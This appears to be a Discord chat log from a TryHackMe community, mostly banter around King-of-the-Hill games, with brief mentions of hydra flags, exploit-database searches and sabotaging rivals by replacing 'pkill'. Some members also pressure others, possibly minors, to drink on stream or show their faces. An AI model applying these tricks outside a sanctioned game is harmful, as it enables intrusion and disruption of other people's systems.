@slender kayak try doing this room. tmux is really useful to run multiple tabs on one window
https://tryhackme.com/room/rptmux

something like this:

[fast wind]

sudo apt update

ip addr

@alpine zephyr

@plucky vault ip addr

some machines can.

There's a package that he is missing.

[lofty moat]

send me the link

@plucky vault i have shared some once.. i streamed once here and shared some tricks

[plucky vault]

Limited time only.

XD

@lofty moat

😛

[lofty moat]

where is da link

[plucky vault]

@slender kayak, link for Naughty?

[slender kayak]

https://tryhackme.com/games/koth/join/696afbb34ad8aefd6326dcb8

[lofty moat]

@slender kayak you are not supposed to close that

no, you can patch it

ok imma reset

stop spamming reset

....

hello from the other side

[merry valve]

lmao

nyancat be vibin

[lofty moat]

https://tenor.com/view/nyan-nyan-cat-meme-rainbow-gif-17117951

[dark igloo]

what is this ?

[lofty moat]

who is removing binaries?? 👀

[cursive herald]

@lofty moat is there a rule against spamming reset? As a mod, do I need to know anything about rules & KOTH? Asking you b/c to me you're 👑 of KOTH

[manic canyon]

There's docs I believe, Bee

[lofty moat]

@cursive herald there will be soon. i asked all mods many times

skidy said he have done it now locally

will be added in next update

here:
https://discordapp.com/channels/521382216299839518/695343809726513292/738528757412790323

[lofty moat]

imagine running a wrong binary in a while loop
@slender kayak

i didn't do anything 🤷‍♂️

we can reset if you want??

@slender kayak yeah i found your lhelpr 🤷‍♂️

reset

i did

for SpaceJam i only know three ways in and 2 privescs 🤷‍♂️

i have something do rn. will be back in an hour or so

peace out

[alpine zephyr]

good night

[slender kayak]

https://tryhackme.com/games/koth/join/4350c2d02f86a751a065f1dc

[fast wind]

imagine running a wrong binary in a while loop
@slender kayak
@lofty moat lmao

deja vu

[slender kayak]

sometimes

[lofty moat]

he was just killing my shells so i replaced pkill

[fast wind]

lmao, alias pkill=exit

[slender kayak]

[fast wind]

[slender kayak]

https://tenor.com/view/the-office-gif-5377249

[plucky vault]

@slender kayak that's like gobuster right?

[tame ether]

@glass venture mute yourself smh

[autumn quest]

VC party?

[tame ether]

pretty quiet tbh

you can hop in, maybe it'll be interesting

[autumn quest]

If you wanna hear Traveling Hex sure

[plucky vault]

I am having trouble with a tutorial(room) involving PuTTY and a machine that gives me an ip, if someone could help me please dm me. Thanks

[ancient olive]

i dont know which room u talking about

but u can dm me for PuTTY @plucky vault

[fast wind]

Hacking classes 101 by szy.

[ancient olive]

really??

let me come LOL

[fossil estuary]

@lament raven https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Host

[fast wind]

He's showing his secret codes with which he can hack any room in 60 seconds.

That's how he is top 1/2

[ancient olive]

LOOL

[fossil estuary]

@lament raven https://httpd.apache.org/docs/trunk/vhosts/details.html#hostmatching

https://serversforhackers.com/c/webservers-host-header

[ancient olive]

He's showing his secret codes with which he can hack any room in 60 seconds.
@fast wind dont have any idea about this scripts

[fast wind]

blacky blacky hatty hatty

[fossil estuary]

https://www.netlify.com/

[fast wind]

static sites == unhackable

(except szy can hack them with his secret codes @ancient olive )

[ancient olive]

[fast wind]

Spill your scripts szy

[lofty moat]

i joined and szy closed his stream 🤷‍♂️

[fast wind]

🤣😂

He was showing his super sec scripts

[lofty moat]

hello

I'm not gonna talk in front of briskets

[fast wind]

[lofty moat]

My Alt

you barely 18

you are not supposed to be drunk

prove it

drink on stream

[fast wind]

[lofty moat]

so I can see your face

i almost saw it

....

[fast wind]

I thought he was a cat.

[lofty moat]

Face reveal when?

[fast wind]

Blonde.

[lofty moat]

time to hack szy

i'm 80% sure szy a girl and uses Voice changer

[fast wind]

because you also use voice changer

Holmes out

[tame ether]

time to share my secret scripts

[fresh solar]

👀

[lofty moat]

imma play siege in other discord

[tribal flicker]

.

[lofty moat]

@leaden arrow check source page

end tk

class started on teams

[alpine zephyr]

@lofty moat rainbow 6?

[lofty moat]

@lofty moat rainbow 6?
@alpine zephyr yeah

[alpine zephyr]

nice I used to play that alot

[lofty moat]

my siege stats:
https://r6.tracker.network/profile/pc/Naughty.BB

[alpine zephyr]

nice

[limber lichen]

smol sed boi

[lofty moat]

[limber lichen]

https://cdn.discordapp.com/emojis/689626579600801822.png?v=1

Still wanna fight me ?

[lofty moat]

WTH is dat

[ancient olive]

huuuuuuuuuuuuuuuuuuuuuuuuuh?

[alpine zephyr]

@plucky vault where r u

[plucky vault]

my friend called me

[alpine zephyr]

I thought i was your friend T_T

[ancient olive]

👀

who's that

👀

it was u @slender kayak ??? 👀

[alpine zephyr]

ye

[slender kayak]

yeppp

[ancient olive]

LOL

i think u are about 17 right??

[lofty moat]

what did i just i joined into

[ancient olive]

come on @lofty moat all of us want to see ur face LOL 👀 🤣

[lofty moat]

you won't even get to hear my voice 😛

[ancient olive]

LOL

too secret

[slender kayak]

i had @lofty moat

you talked for like .3 seconds

[lofty moat]

🤫

[slender kayak]

yeah like 2 words

[ancient olive]

he use voice changer i think

[slender kayak]

HAHAHA

[lofty moat]

that was voice changer

[slender kayak]

really??

[ancient olive]

yay

i told u he using voice changer

[lofty moat]

no body ever heard my real voice

i might be a girl in reality 🤷‍♂️

[ancient olive]

me 2

[surreal field]

hi

@proud stag

@proud stag doing good

nothing , some bash

[proud stag]

where are u from

[surreal field]

how u doing?

m from India.

cool

i made a new account on thm

wanna stream?

lets do it together

okk no worries

i dont have much good too

yes

i can see

okk

@proud stag where r u from?

[proud stag]

france

[surreal field]

cool

cool place

i can see that

try searching on msf

ya you are correct go on

i sometime feel some things arent in searchsploit thats on exploitdb

try on exploitdb

[proud stag]

yes it's true

[surreal field]

it will show you rating too

and thats given on the question

try cve details

maybe

[proud stag]

yes i will try

[surreal field]

vatican

city

[slender kayak]

https://tryhackme.com/games/koth/join/e521b2803f1def8c494fea36

[crude void]

hydra -V -f

-v -V

-v

[crude void]

Sony WH-1000XM3

[valid night]

Great headphones

[fossil estuary]

https://antlionaudio.com/

[tepid scaffold]

hey @tame ether

[lofty moat]

No one talking or my handsfree not working? 🤔

[tepid scaffold]

@tame ether i am here so that no one bully ya

lol

i am sure pars bully u

i m kidn

who ?

ah.. lol, haven't had much interaction with him yet

[fresh solar]

👀

[tepid scaffold]

hey

dark lord

[lofty moat]

Szy getting bullied? But szy always bully dark 🤷‍♂️

Szy is da #1 bully in THM

[ancient olive]

voice changer @tame ether ???

[lofty moat]

Szy do face reveal

[tepid scaffold]

well i don't mind if szy bullies you all xD

[lofty moat]

well i don't mind if szy bullies you all xD
@tepid scaffold szy can't bully me

We are Friends